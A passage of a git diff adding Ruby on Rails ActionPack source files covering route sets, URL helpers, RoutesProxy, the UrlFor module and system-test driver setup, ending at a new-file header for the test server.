+              if args.size == arg_size && !inner_options && optimize_routes_generation?(t)
+                options = t.url_options.merge @options
+                options[:path] = optimized_helper(args)
+                url_strategy.call options
+              else
+                super
+              end
+            end
+
+            private
+
+              def optimized_helper(args)
+                params = parameterize_args(args) do
+                  raise_generation_error(args)
+                end
+
+                @route.format params
+              end
+
+              def optimize_routes_generation?(t)
+                t.send(:optimize_routes_generation?)
+              end
+
+              def parameterize_args(args)
+                params = {}
+                @arg_size.times { |i|
+                  key = @required_parts[i]
+                  value = args[i].to_param
+                  yield key if value.nil? || value.empty?
+                  params[key] = value
+                }
+                params
+              end
+
+              def raise_generation_error(args)
+                missing_keys = []
+                params = parameterize_args(args) { |missing_key|
+                  missing_keys << missing_key
+                }
+                constraints = Hash[@route.requirements.merge(params).sort_by { |k, v| k.to_s }]
+                message = "No route matches #{constraints.inspect}".dup
+                message << ", missing required keys: #{missing_keys.sort.inspect}"
+
+                raise ActionController::UrlGenerationError, message
+              end
+          end
+
+          def initialize(route, options, route_name, url_strategy)
+            @options      = options
+            @segment_keys = route.segment_keys.uniq
+            @route        = route
+            @url_strategy = url_strategy
+            @route_name   = route_name
+          end
+
+          def call(t, args, inner_options)
+            controller_options = t.url_options
+            options = controller_options.merge @options
+            hash = handle_positional_args(controller_options,
+                                          inner_options || {},
+                                          args,
+                                          options,
+                                          @segment_keys)
+
+            t._routes.url_for(hash, route_name, url_strategy)
+          end
+
+          def handle_positional_args(controller_options, inner_options, args, result, path_params)
+            if args.size > 0
+              # take format into account
+              if path_params.include?(:format)
+                path_params_size = path_params.size - 1
+              else
+                path_params_size = path_params.size
+              end
+
+              if args.size < path_params_size
+                path_params -= controller_options.keys
+                path_params -= result.keys
+              else
+                path_params = path_params.dup
+              end
+              inner_options.each_key do |key|
+                path_params.delete(key)
+              end
+
+              args.each_with_index do |arg, index|
+                param = path_params[index]
+                result[param] = arg if param
+              end
+            end
+
+            result.merge!(inner_options)
+          end
+        end
+
+        private
+          # Create a URL helper allowing ordered parameters to be associated
+          # with corresponding dynamic segments, so you can do:
+          #
+          #   foo_url(bar, baz, bang)
+          #
+          # Instead of:
+          #
+          #   foo_url(bar: bar, baz: baz, bang: bang)
+          #
+          # Also allow options hash, so you can do:
+          #
+          #   foo_url(bar, baz, bang, sort_by: 'baz')
+          #
+          def define_url_helper(mod, route, name, opts, route_key, url_strategy)
+            helper = UrlHelper.create(route, opts, route_key, url_strategy)
+            mod.module_eval do
+              define_method(name) do |*args|
+                last = args.last
+                options = \
+                  case last
+                  when Hash
+                    args.pop
+                  when ActionController::Parameters
+                    args.pop.to_h
+                  end
+                helper.call self, args, options
+              end
+            end
+          end
+      end
+
+      # strategy for building urls to send to the client
+      PATH    = ->(options) { ActionDispatch::Http::URL.path_for(options) }
+      UNKNOWN = ->(options) { ActionDispatch::Http::URL.url_for(options) }
+
+      attr_accessor :formatter, :set, :named_routes, :default_scope, :router
+      attr_accessor :disable_clear_and_finalize, :resources_path_names
+      attr_accessor :default_url_options
+      attr_reader :env_key, :polymorphic_mappings
+
+      alias :routes :set
+
+      def self.default_resources_path_names
+        { new: "new", edit: "edit" }
+      end
+
+      def self.new_with_config(config)
+        route_set_config = DEFAULT_CONFIG
+
+        # engines apparently don't have this set
+        if config.respond_to? :relative_url_root
+          route_set_config.relative_url_root = config.relative_url_root
+        end
+
+        if config.respond_to? :api_only
+          route_set_config.api_only = config.api_only
+        end
+
+        new route_set_config
+      end
+
+      Config = Struct.new :relative_url_root, :api_only
+
+      DEFAULT_CONFIG = Config.new(nil, false)
+
+      def initialize(config = DEFAULT_CONFIG)
+        self.named_routes = NamedRouteCollection.new
+        self.resources_path_names = self.class.default_resources_path_names
+        self.default_url_options = {}
+
+        @config                     = config
+        @append                     = []
+        @prepend                    = []
+        @disable_clear_and_finalize = false
+        @finalized                  = false
+        @env_key                    = "ROUTES_#{object_id}_SCRIPT_NAME".freeze
+
+        @set    = Journey::Routes.new
+        @router = Journey::Router.new @set
+        @formatter = Journey::Formatter.new self
+        @polymorphic_mappings = {}
+      end
+
+      def eager_load!
+        router.eager_load!
+        routes.each(&:eager_load!)
+        nil
+      end
+
+      def relative_url_root
+        @config.relative_url_root
+      end
+
+      def api_only?
+        @config.api_only
+      end
+
+      def request_class
+        ActionDispatch::Request
+      end
+
+      def make_request(env)
+        request_class.new env
+      end
+      private :make_request
+
+      def draw(&block)
+        clear! unless @disable_clear_and_finalize
+        eval_block(block)
+        finalize! unless @disable_clear_and_finalize
+        nil
+      end
+
+      def append(&block)
+        @append << block
+      end
+
+      def prepend(&block)
+        @prepend << block
+      end
+
+      def eval_block(block)
+        mapper = Mapper.new(self)
+        if default_scope
+          mapper.with_default_scope(default_scope, &block)
+        else
+          mapper.instance_exec(&block)
+        end
+      end
+      private :eval_block
+
+      def finalize!
+        return if @finalized
+        @append.each { |blk| eval_block(blk) }
+        @finalized = true
+      end
+
+      def clear!
+        @finalized = false
+        named_routes.clear
+        set.clear
+        formatter.clear
+        @polymorphic_mappings.clear
+        @prepend.each { |blk| eval_block(blk) }
+      end
+
+      module MountedHelpers
+        extend ActiveSupport::Concern
+        include UrlFor
+      end
+
+      # Contains all the mounted helpers across different
+      # engines and the `main_app` helper for the application.
+      # You can include this in your classes if you want to
+      # access routes for other engines.
+      def mounted_helpers
+        MountedHelpers
+      end
+
+      def define_mounted_helper(name, script_namer = nil)
+        return if MountedHelpers.method_defined?(name)
+
+        routes = self
+        helpers = routes.url_helpers
+
+        MountedHelpers.class_eval do
+          define_method "_#{name}" do
+            RoutesProxy.new(routes, _routes_context, helpers, script_namer)
+          end
+        end
+
+        MountedHelpers.class_eval(<<-RUBY, __FILE__, __LINE__ + 1)
+          def #{name}
+            @_#{name} ||= _#{name}
+          end
+        RUBY
+      end
+
+      def url_helpers(supports_path = true)
+        routes = self
+
+        Module.new do
+          extend ActiveSupport::Concern
+          include UrlFor
+
+          # Define url_for in the singleton level so one can do:
+          # Rails.application.routes.url_helpers.url_for(args)
+          proxy_class = Class.new do
+            include UrlFor
+            include routes.named_routes.path_helpers_module
+            include routes.named_routes.url_helpers_module
+
+            attr_reader :_routes
+
+            def initialize(routes)
+              @_routes = routes
+            end
+
+            def optimize_routes_generation?
+              @_routes.optimize_routes_generation?
+            end
+          end
+
+          @_proxy = proxy_class.new(routes)
+
+          class << self
+            def url_for(options)
+              @_proxy.url_for(options)
+            end
+
+            def full_url_for(options)
+              @_proxy.full_url_for(options)
+            end
+
+            def route_for(name, *args)
+              @_proxy.route_for(name, *args)
+            end
+
+            def optimize_routes_generation?
+              @_proxy.optimize_routes_generation?
+            end
+
+            def polymorphic_url(record_or_hash_or_array, options = {})
+              @_proxy.polymorphic_url(record_or_hash_or_array, options)
+            end
+
+            def polymorphic_path(record_or_hash_or_array, options = {})
+              @_proxy.polymorphic_path(record_or_hash_or_array, options)
+            end
+
+            def _routes; @_proxy._routes; end
+            def url_options; {}; end
+          end
+
+          url_helpers = routes.named_routes.url_helpers_module
+
+          # Make named_routes available in the module singleton
+          # as well, so one can do:
+          # Rails.application.routes.url_helpers.posts_path
+          extend url_helpers
+
+          # Any class that includes this module will get all
+          # named routes...
+          include url_helpers
+
+          if supports_path
+            path_helpers = routes.named_routes.path_helpers_module
+
+            include path_helpers
+            extend path_helpers
+          end
+
+          # plus a singleton class method called _routes ...
+          included do
+            singleton_class.send(:redefine_method, :_routes) { routes }
+          end
+
+          # And an instance method _routes. Note that
+          # UrlFor (included in this module) add extra
+          # conveniences for working with @_routes.
+          define_method(:_routes) { @_routes || routes }
+
+          define_method(:_generate_paths_by_default) do
+            supports_path
+          end
+
+          private :_generate_paths_by_default
+        end
+      end
+
+      def empty?
+        routes.empty?
+      end
+
+      def add_route(mapping, name)
+        raise ArgumentError, "Invalid route name: '#{name}'" unless name.blank? || name.to_s.match(/^[_a-z]\w*$/i)
+
+        if name && named_routes[name]
+          raise ArgumentError, "Invalid route name, already in use: '#{name}' \n" \
+            "You may have defined two routes with the same name using the `:as` option, or " \
+            "you may be overriding a route already defined by a resource with the same naming. " \
+            "For the latter, you can restrict the routes created with `resources` as explained here: \n" \
+            "http://guides.rubyonrails.org/routing.html#restricting-the-routes-created"
+        end
+
+        route = @set.add_route(name, mapping)
+        named_routes[name] = route if name
+
+        if route.segment_keys.include?(:controller)
+          ActiveSupport::Deprecation.warn(<<-MSG.squish)
+            Using a dynamic :controller segment in a route is deprecated and
+            will be removed in Rails 5.2.
+          MSG
+        end
+
+        if route.segment_keys.include?(:action)
+          ActiveSupport::Deprecation.warn(<<-MSG.squish)
+            Using a dynamic :action segment in a route is deprecated and
+            will be removed in Rails 5.2.
+          MSG
+        end
+
+        route
+      end
+
+      def add_polymorphic_mapping(klass, options, &block)
+        @polymorphic_mappings[klass] = CustomUrlHelper.new(klass, options, &block)
+      end
+
+      def add_url_helper(name, options, &block)
+        named_routes.add_url_helper(name, options, &block)
+      end
+
+      class CustomUrlHelper
+        attr_reader :name, :defaults, :block
+
+        def initialize(name, defaults, &block)
+          @name = name
+          @defaults = defaults
+          @block = block
+        end
+
+        def call(t, args, only_path = false)
+          options = args.extract_options!
+          url = t.full_url_for(eval_block(t, args, options))
+
+          if only_path
+            "/" + url.partition(%r{(?<!/)/(?!/)}).last
+          else
+            url
+          end
+        end
+
+        private
+          def eval_block(t, args, options)
+            t.instance_exec(*args, merge_defaults(options), &block)
+          end
+
+          def merge_defaults(options)
+            defaults ? defaults.merge(options) : options
+          end
+      end
+
+      class Generator
+        PARAMETERIZE = lambda do |name, value|
+          if name == :controller
+            value
+          else
+            value.to_param
+          end
+        end
+
+        attr_reader :options, :recall, :set, :named_route
+
+        def initialize(named_route, options, recall, set)
+          @named_route = named_route
+          @options     = options
+          @recall      = recall
+          @set         = set
+
+          normalize_options!
+          normalize_controller_action_id!
+          use_relative_controller!
+          normalize_controller!
+        end
+
+        def controller
+          @options[:controller]
+        end
+
+        def current_controller
+          @recall[:controller]
+        end
+
+        def use_recall_for(key)
+          if @recall[key] && (!@options.key?(key) || @options[key] == @recall[key])
+            if !named_route_exists? || segment_keys.include?(key)
+              @options[key] = @recall[key]
+            end
+          end
+        end
+
+        def normalize_options!
+          # If an explicit :controller was given, always make :action explicit
+          # too, so that action expiry works as expected for things like
+          #
+          #   generate({controller: 'content'}, {controller: 'content', action: 'show'})
+          #
+          # (the above is from the unit tests). In the above case, because the
+          # controller was explicitly given, but no action, the action is implied to
+          # be "index", not the recalled action of "show".
+
+          if options[:controller]
+            options[:action]     ||= "index"
+            options[:controller]   = options[:controller].to_s
+          end
+
+          if options.key?(:action)
+            options[:action] = (options[:action] || "index").to_s
+          end
+        end
+
+        # This pulls :controller, :action, and :id out of the recall.
+        # The recall key is only used if there is no key in the options
+        # or if the key in the options is identical. If any of
+        # :controller, :action or :id is not found, don't pull any
+        # more keys from the recall.
+        def normalize_controller_action_id!
+          use_recall_for(:controller) || return
+          use_recall_for(:action) || return
+          use_recall_for(:id)
+        end
+
+        # if the current controller is "foo/bar/baz" and controller: "baz/bat"
+        # is specified, the controller becomes "foo/baz/bat"
+        def use_relative_controller!
+          if !named_route && different_controller? && !controller.start_with?("/")
+            old_parts = current_controller.split("/")
+            size = controller.count("/") + 1
+            parts = old_parts[0...-size] << controller
+            @options[:controller] = parts.join("/")
+          end
+        end
+
+        # Remove leading slashes from controllers
+        def normalize_controller!
+          if controller
+            if controller.start_with?("/".freeze)
+              @options[:controller] = controller[1..-1]
+            else
+              @options[:controller] = controller
+            end
+          end
+        end
+
+        # Generates a path from routes, returns [path, params].
+        # If no route is generated the formatter will raise ActionController::UrlGenerationError
+        def generate
+          @set.formatter.generate(named_route, options, recall, PARAMETERIZE)
+        end
+
+        def different_controller?
+          return false unless current_controller
+          controller.to_param != current_controller.to_param
+        end
+
+        private
+          def named_route_exists?
+            named_route && set.named_routes[named_route]
+          end
+
+          def segment_keys
+            set.named_routes[named_route].segment_keys
+          end
+      end
+
+      # Generate the path indicated by the arguments, and return an array of
+      # the keys that were not used to generate it.
+      def extra_keys(options, recall = {})
+        generate_extras(options, recall).last
+      end
+
+      def generate_extras(options, recall = {})
+        route_key = options.delete :use_route
+        path, params = generate(route_key, options, recall)
+        return path, params.keys
+      end
+
+      def generate(route_key, options, recall = {})
+        Generator.new(route_key, options, recall, self).generate
+      end
+      private :generate
+
+      RESERVED_OPTIONS = [:host, :protocol, :port, :subdomain, :domain, :tld_length,
+                          :trailing_slash, :anchor, :params, :only_path, :script_name,
+                          :original_script_name, :relative_url_root]
+
+      def optimize_routes_generation?
+        default_url_options.empty?
+      end
+
+      def find_script_name(options)
+        options.delete(:script_name) || find_relative_url_root(options) || ""
+      end
+
+      def find_relative_url_root(options)
+        options.delete(:relative_url_root) || relative_url_root
+      end
+
+      def path_for(options, route_name = nil)
+        url_for(options, route_name, PATH)
+      end
+
+      # The +options+ argument must be a hash whose keys are *symbols*.
+      def url_for(options, route_name = nil, url_strategy = UNKNOWN)
+        options = default_url_options.merge options
+
+        user = password = nil
+
+        if options[:user] && options[:password]
+          user     = options.delete :user
+          password = options.delete :password
+        end
+
+        recall = options.delete(:_recall) { {} }
+
+        original_script_name = options.delete(:original_script_name)
+        script_name = find_script_name options
+
+        if original_script_name
+          script_name = original_script_name + script_name
+        end
+
+        path_options = options.dup
+        RESERVED_OPTIONS.each { |ro| path_options.delete ro }
+
+        path, params = generate(route_name, path_options, recall)
+
+        if options.key? :params
+          params.merge! options[:params]
+        end
+
+        options[:path]        = path
+        options[:script_name] = script_name
+        options[:params]      = params
+        options[:user]        = user
+        options[:password]    = password
+
+        url_strategy.call options
+      end
+
+      def call(env)
+        req = make_request(env)
+        req.path_info = Journey::Router::Utils.normalize_path(req.path_info)
+        @router.serve(req)
+      end
+
+      def recognize_path(path, environment = {})
+        method = (environment[:method] || "GET").to_s.upcase
+        path = Journey::Router::Utils.normalize_path(path) unless path =~ %r{://}
+        extras = environment[:extras] || {}
+
+        begin
+          env = Rack::MockRequest.env_for(path, method: method)
+        rescue URI::InvalidURIError => e
+          raise ActionController::RoutingError, e.message
+        end
+
+        req = make_request(env)
+        @router.recognize(req) do |route, params|
+          params.merge!(extras)
+          params.each do |key, value|
+            if value.is_a?(String)
+              value = value.dup.force_encoding(Encoding::BINARY)
+              params[key] = URI.parser.unescape(value)
+            end
+          end
+          req.path_parameters = params
+          app = route.app
+          if app.matches?(req) && app.dispatcher?
+            begin
+              req.controller_class
+            rescue NameError
+              raise ActionController::RoutingError, "A route matches #{path.inspect}, but references missing controller: #{params[:controller].camelize}Controller"
+            end
+
+            return req.path_parameters
+          end
+        end
+
+        raise ActionController::RoutingError, "No route matches #{path.inspect}"
+      end
+    end
+    # :startdoc:
+  end
+end
diff --git a/actionpack/lib/action_dispatch/routing/routes_proxy.rb b/actionpack/lib/action_dispatch/routing/routes_proxy.rb
new file mode 100644
index 0000000000..587a72729c
--- /dev/null
+++ b/actionpack/lib/action_dispatch/routing/routes_proxy.rb
@@ -0,0 +1,69 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/array/extract_options"
+
+module ActionDispatch
+  module Routing
+    class RoutesProxy #:nodoc:
+      include ActionDispatch::Routing::UrlFor
+
+      attr_accessor :scope, :routes
+      alias :_routes :routes
+
+      def initialize(routes, scope, helpers, script_namer = nil)
+        @routes, @scope = routes, scope
+        @helpers = helpers
+        @script_namer = script_namer
+      end
+
+      def url_options
+        scope.send(:_with_routes, routes) do
+          scope.url_options
+        end
+      end
+
+    private
+      def respond_to_missing?(method, _)
+        super || @helpers.respond_to?(method)
+      end
+
+      def method_missing(method, *args)
+        if @helpers.respond_to?(method)
+          self.class.class_eval <<-RUBY, __FILE__, __LINE__ + 1
+            def #{method}(*args)
+              options = args.extract_options!
+              options = url_options.merge((options || {}).symbolize_keys)
+
+              if @script_namer
+                options[:script_name] = merge_script_names(
+                  options[:script_name],
+                  @script_namer.call(options)
+                )
+              end
+
+              args << options
+              @helpers.#{method}(*args)
+            end
+          RUBY
+          public_send(method, *args)
+        else
+          super
+        end
+      end
+
+      # Keeps the part of the script name provided by the global
+      # context via ENV["SCRIPT_NAME"], which `mount` doesn't know
+      # about since it depends on the specific request, but use our
+      # script name resolver for the mount point dependent part.
+      def merge_script_names(previous_script_name, new_script_name)
+        return new_script_name unless previous_script_name
+
+        resolved_parts = new_script_name.count("/")
+        previous_parts = previous_script_name.count("/")
+        context_parts = previous_parts - resolved_parts + 1
+
+        (previous_script_name.split("/").slice(0, context_parts).join("/")) + new_script_name
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/routing/url_for.rb b/actionpack/lib/action_dispatch/routing/url_for.rb
new file mode 100644
index 0000000000..6f3db258ab
--- /dev/null
+++ b/actionpack/lib/action_dispatch/routing/url_for.rb
@@ -0,0 +1,218 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  module Routing
+    # In <tt>config/routes.rb</tt> you define URL-to-controller mappings, but the reverse
+    # is also possible: a URL can be generated from one of your routing definitions.
+    # URL generation functionality is centralized in this module.
+    #
+    # See ActionDispatch::Routing for general information about routing and routes.rb.
+    #
+    # <b>Tip:</b> If you need to generate URLs from your models or some other place,
+    # then ActionController::UrlFor is what you're looking for. Read on for
+    # an introduction. In general, this module should not be included on its own,
+    # as it is usually included by url_helpers (as in Rails.application.routes.url_helpers).
+    #
+    # == URL generation from parameters
+    #
+    # As you may know, some functions, such as ActionController::Base#url_for
+    # and ActionView::Helpers::UrlHelper#link_to, can generate URLs given a set
+    # of parameters. For example, you've probably had the chance to write code
+    # like this in one of your views:
+    #
+    #   <%= link_to('Click here', controller: 'users',
+    #           action: 'new', message: 'Welcome!') %>
+    #   # => <a href="/users/new?message=Welcome%21">Click here</a>
+    #
+    # link_to, and all other functions that require URL generation functionality,
+    # actually use ActionController::UrlFor under the hood. And in particular,
+    # they use the ActionController::UrlFor#url_for method. One can generate
+    # the same path as the above example by using the following code:
+    #
+    #   include UrlFor
+    #   url_for(controller: 'users',
+    #           action: 'new',
+    #           message: 'Welcome!',
+    #           only_path: true)
+    #   # => "/users/new?message=Welcome%21"
+    #
+    # Notice the <tt>only_path: true</tt> part. This is because UrlFor has no
+    # information about the website hostname that your Rails app is serving. So if you
+    # want to include the hostname as well, then you must also pass the <tt>:host</tt>
+    # argument:
+    #
+    #   include UrlFor
+    #   url_for(controller: 'users',
+    #           action: 'new',
+    #           message: 'Welcome!',
+    #           host: 'www.example.com')
+    #   # => "http://www.example.com/users/new?message=Welcome%21"
+    #
+    # By default, all controllers and views have access to a special version of url_for,
+    # that already knows what the current hostname is. So if you use url_for in your
+    # controllers or your views, then you don't need to explicitly pass the <tt>:host</tt>
+    # argument.
+    #
+    # For convenience reasons, mailers provide a shortcut for ActionController::UrlFor#url_for.
+    # So within mailers, you only have to type +url_for+ instead of 'ActionController::UrlFor#url_for'
+    # in full. However, mailers don't have hostname information, and you still have to provide
+    # the +:host+ argument or set the default host that will be used in all mailers using the
+    # configuration option +config.action_mailer.default_url_options+. For more information on
+    # url_for in mailers read the ActionMailer#Base documentation.
+    #
+    #
+    # == URL generation for named routes
+    #
+    # UrlFor also allows one to access methods that have been auto-generated from
+    # named routes. For example, suppose that you have a 'users' resource in your
+    # <tt>config/routes.rb</tt>:
+    #
+    #   resources :users
+    #
+    # This generates, among other things, the method <tt>users_path</tt>. By default,
+    # this method is accessible from your controllers, views and mailers. If you need
+    # to access this auto-generated method from other places (such as a model), then
+    # you can do that by including Rails.application.routes.url_helpers in your class:
+    #
+    #   class User < ActiveRecord::Base
+    #     include Rails.application.routes.url_helpers
+    #
+    #     def base_uri
+    #       user_path(self)
+    #     end
+    #   end
+    #
+    #   User.find(1).base_uri # => "/users/1"
+    #
+    module UrlFor
+      extend ActiveSupport::Concern
+      include PolymorphicRoutes
+
+      included do
+        unless method_defined?(:default_url_options)
+          # Including in a class uses an inheritable hash. Modules get a plain hash.
+          if respond_to?(:class_attribute)
+            class_attribute :default_url_options
+          else
+            mattr_writer :default_url_options
+          end
+
+          self.default_url_options = {}
+        end
+
+        include(*_url_for_modules) if respond_to?(:_url_for_modules)
+      end
+
+      def initialize(*)
+        @_routes = nil
+        super
+      end
+
+      # Hook overridden in controller to add request information
+      # with `default_url_options`. Application logic should not
+      # go into url_options.
+      def url_options
+        default_url_options
+      end
+
+      # Generate a URL based on the options provided, default_url_options and the
+      # routes defined in routes.rb. The following options are supported:
+      #
+      # * <tt>:only_path</tt> - If true, the relative URL is returned. Defaults to +false+.
+      # * <tt>:protocol</tt> - The protocol to connect to. Defaults to 'http'.
+      # * <tt>:host</tt> - Specifies the host the link should be targeted at.
+      #   If <tt>:only_path</tt> is false, this option must be
+      #   provided either explicitly, or via +default_url_options+.
+      # * <tt>:subdomain</tt> - Specifies the subdomain of the link, using the +tld_length+
+      #   to split the subdomain from the host.
+      #   If false, removes all subdomains from the host part of the link.
+      # * <tt>:domain</tt> - Specifies the domain of the link, using the +tld_length+
+      #   to split the domain from the host.
+      # * <tt>:tld_length</tt> - Number of labels the TLD id composed of, only used if
+      #   <tt>:subdomain</tt> or <tt>:domain</tt> are supplied. Defaults to
+      #   <tt>ActionDispatch::Http::URL.tld_length</tt>, which in turn defaults to 1.
+      # * <tt>:port</tt> - Optionally specify the port to connect to.
+      # * <tt>:anchor</tt> - An anchor name to be appended to the path.
+      # * <tt>:trailing_slash</tt> - If true, adds a trailing slash, as in "/archive/2009/"
+      # * <tt>:script_name</tt> - Specifies application path relative to domain root. If provided, prepends application path.
+      #
+      # Any other key (<tt>:controller</tt>, <tt>:action</tt>, etc.) given to
+      # +url_for+ is forwarded to the Routes module.
+      #
+      #    url_for controller: 'tasks', action: 'testing', host: 'somehost.org', port: '8080'
+      #    # => 'http://somehost.org:8080/tasks/testing'
+      #    url_for controller: 'tasks', action: 'testing', host: 'somehost.org', anchor: 'ok', only_path: true
+      #    # => '/tasks/testing#ok'
+      #    url_for controller: 'tasks', action: 'testing', trailing_slash: true
+      #    # => 'http://somehost.org/tasks/testing/'
+      #    url_for controller: 'tasks', action: 'testing', host: 'somehost.org', number: '33'
+      #    # => 'http://somehost.org/tasks/testing?number=33'
+      #    url_for controller: 'tasks', action: 'testing', host: 'somehost.org', script_name: "/myapp"
+      #    # => 'http://somehost.org/myapp/tasks/testing'
+      #    url_for controller: 'tasks', action: 'testing', host: 'somehost.org', script_name: "/myapp", only_path: true
+      #    # => '/myapp/tasks/testing'
+      #
+      # Missing routes keys may be filled in from the current request's parameters
+      # (e.g. +:controller+, +:action+, +:id+ and any other parameters that are
+      # placed in the path). Given that the current action has been reached
+      # through `GET /users/1`:
+      #
+      #   url_for(only_path: true)                        # => '/users/1'
+      #   url_for(only_path: true, action: 'edit')        # => '/users/1/edit'
+      #   url_for(only_path: true, action: 'edit', id: 2) # => '/users/2/edit'
+      #
+      # Notice that no +:id+ parameter was provided to the first +url_for+ call
+      # and the helper used the one from the route's path. Any path parameter
+      # implicitly used by +url_for+ can always be overwritten like shown on the
+      # last +url_for+ calls.
+      def url_for(options = nil)
+        full_url_for(options)
+      end
+
+      def full_url_for(options = nil) # :nodoc:
+        case options
+        when nil
+          _routes.url_for(url_options.symbolize_keys)
+        when Hash, ActionController::Parameters
+          route_name = options.delete :use_route
+          merged_url_options = options.to_h.symbolize_keys.reverse_merge!(url_options)
+          _routes.url_for(merged_url_options, route_name)
+        when String
+          options
+        when Symbol
+          HelperMethodBuilder.url.handle_string_call self, options
+        when Array
+          components = options.dup
+          polymorphic_url(components, components.extract_options!)
+        when Class
+          HelperMethodBuilder.url.handle_class_call self, options
+        else
+          HelperMethodBuilder.url.handle_model_call self, options
+        end
+      end
+
+      def route_for(name, *args) # :nodoc:
+        public_send(:"#{name}_url", *args)
+      end
+
+      protected
+
+        def optimize_routes_generation?
+          _routes.optimize_routes_generation? && default_url_options.empty?
+        end
+
+      private
+
+        def _with_routes(routes) # :doc:
+          old_routes, @_routes = @_routes, routes
+          yield
+        ensure
+          @_routes = old_routes
+        end
+
+        def _routes_context # :doc:
+          self
+        end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/system_test_case.rb b/actionpack/lib/action_dispatch/system_test_case.rb
new file mode 100644
index 0000000000..ae4aeac59d
--- /dev/null
+++ b/actionpack/lib/action_dispatch/system_test_case.rb
@@ -0,0 +1,133 @@
+# frozen_string_literal: true
+
+require "capybara/dsl"
+require "capybara/minitest"
+require "action_controller"
+require_relative "system_testing/driver"
+require_relative "system_testing/server"
+require_relative "system_testing/test_helpers/screenshot_helper"
+require_relative "system_testing/test_helpers/setup_and_teardown"
+require_relative "system_testing/test_helpers/undef_methods"
+
+module ActionDispatch
+  # = System Testing
+  #
+  # System tests let you test applications in the browser. Because system
+  # tests use a real browser experience, you can test all of your JavaScript
+  # easily from your test suite.
+  #
+  # To create a system test in your application, extend your test class
+  # from <tt>ApplicationSystemTestCase</tt>. System tests use Capybara as a
+  # base and allow you to configure the settings through your
+  # <tt>application_system_test_case.rb</tt> file that is generated with a new
+  # application or scaffold.
+  #
+  # Here is an example system test:
+  #
+  #   require 'application_system_test_case'
+  #
+  #   class Users::CreateTest < ApplicationSystemTestCase
+  #     test "adding a new user" do
+  #       visit users_path
+  #       click_on 'New User'
+  #
+  #       fill_in 'Name', with: 'Arya'
+  #       click_on 'Create User'
+  #
+  #       assert_text 'Arya'
+  #     end
+  #   end
+  #
+  # When generating an application or scaffold, an +application_system_test_case.rb+
+  # file will also be generated containing the base class for system testing.
+  # This is where you can change the driver, add Capybara settings, and other
+  # configuration for your system tests.
+  #
+  #   require "test_helper"
+  #
+  #   class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+  #     driven_by :selenium, using: :chrome, screen_size: [1400, 1400]
+  #   end
+  #
+  # By default, <tt>ActionDispatch::SystemTestCase</tt> is driven by the
+  # Selenium driver, with the Chrome browser, and a browser size of 1400x1400.
+  #
+  # Changing the driver configuration options is easy. Let's say you want to use
+  # the Firefox browser instead of Chrome. In your +application_system_test_case.rb+
+  # file add the following:
+  #
+  #   require "test_helper"
+  #
+  #   class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+  #     driven_by :selenium, using: :firefox
+  #   end
+  #
+  # +driven_by+ has a required argument for the driver name. The keyword
+  # arguments are +:using+ for the browser and +:screen_size+ to change the
+  # size of the browser screen. These two options are not applicable for
+  # headless drivers and will be silently ignored if passed.
+  #
+  # To use a headless driver, like Poltergeist, update your Gemfile to use
+  # Poltergeist instead of Selenium and then declare the driver name in the
+  # +application_system_test_case.rb+ file. In this case, you would leave out
+  # the +:using+ option because the driver is headless, but you can still use
+  # +:screen_size+ to change the size of the browser screen, also you can use
+  # +:options+ to pass options supported by the driver. Please refer to your
+  # driver documentation to learn about supported options.
+  #
+  #   require "test_helper"
+  #   require "capybara/poltergeist"
+  #
+  #   class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+  #     driven_by :poltergeist, screen_size: [1400, 1400], options:
+  #       { js_errors: true }
+  #   end
+  #
+  # Because <tt>ActionDispatch::SystemTestCase</tt> is a shim between Capybara
+  # and Rails, any driver that is supported by Capybara is supported by system
+  # tests as long as you include the required gems and files.
+  class SystemTestCase < IntegrationTest
+    include Capybara::DSL
+    include Capybara::Minitest::Assertions
+    include SystemTesting::TestHelpers::SetupAndTeardown
+    include SystemTesting::TestHelpers::ScreenshotHelper
+    include SystemTesting::TestHelpers::UndefMethods
+
+    def initialize(*) # :nodoc:
+      super
+      self.class.driver.use
+    end
+
+    def self.start_application # :nodoc:
+      Capybara.app = Rack::Builder.new do
+        map "/" do
+          run Rails.application
+        end
+      end
+
+      SystemTesting::Server.new.run
+    end
+
+    class_attribute :driver, instance_accessor: false
+
+    # System Test configuration options
+    #
+    # The default settings are Selenium, using Chrome, with a screen size
+    # of 1400x1400.
+    #
+    # Examples:
+    #
+    #   driven_by :poltergeist
+    #
+    #   driven_by :selenium, using: :firefox
+    #
+    #   driven_by :selenium, screen_size: [800, 800]
+    def self.driven_by(driver, using: :chrome, screen_size: [1400, 1400], options: {})
+      self.driver = SystemTesting::Driver.new(driver, using: using, screen_size: screen_size, options: options)
+    end
+
+    driven_by :selenium
+  end
+
+  SystemTestCase.start_application
+end
diff --git a/actionpack/lib/action_dispatch/system_testing/driver.rb b/actionpack/lib/action_dispatch/system_testing/driver.rb
new file mode 100644
index 0000000000..4279336f2f
--- /dev/null
+++ b/actionpack/lib/action_dispatch/system_testing/driver.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  module SystemTesting
+    class Driver # :nodoc:
+      def initialize(name, **options)
+        @name = name
+        @browser = options[:using]
+        @screen_size = options[:screen_size]
+        @options = options[:options]
+      end
+
+      def use
+        register if registerable?
+
+        setup
+      end
+
+      private
+        def registerable?
+          [:selenium, :poltergeist, :webkit].include?(@name)
+        end
+
+        def register
+          Capybara.register_driver @name do |app|
+            case @name
+            when :selenium then register_selenium(app)
+            when :poltergeist then register_poltergeist(app)
+            when :webkit then register_webkit(app)
+            end
+          end
+        end
+
+        def register_selenium(app)
+          Capybara::Selenium::Driver.new(app, { browser: @browser }.merge(@options)).tap do |driver|
+            driver.browser.manage.window.size = Selenium::WebDriver::Dimension.new(*@screen_size)
+          end
+        end
+
+        def register_poltergeist(app)
+          Capybara::Poltergeist::Driver.new(app, @options.merge(window_size: @screen_size))
+        end
+
+        def register_webkit(app)
+          Capybara::Webkit::Driver.new(app, Capybara::Webkit::Configuration.to_hash.merge(@options)).tap do |driver|
+            driver.resize_window(*@screen_size)
+          end
+        end
+
+        def setup
+          Capybara.current_driver = @name
+        end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/system_testing/server.rb b/actionpack/lib/action_dispatch/system_testing/server.rb
new file mode 100644
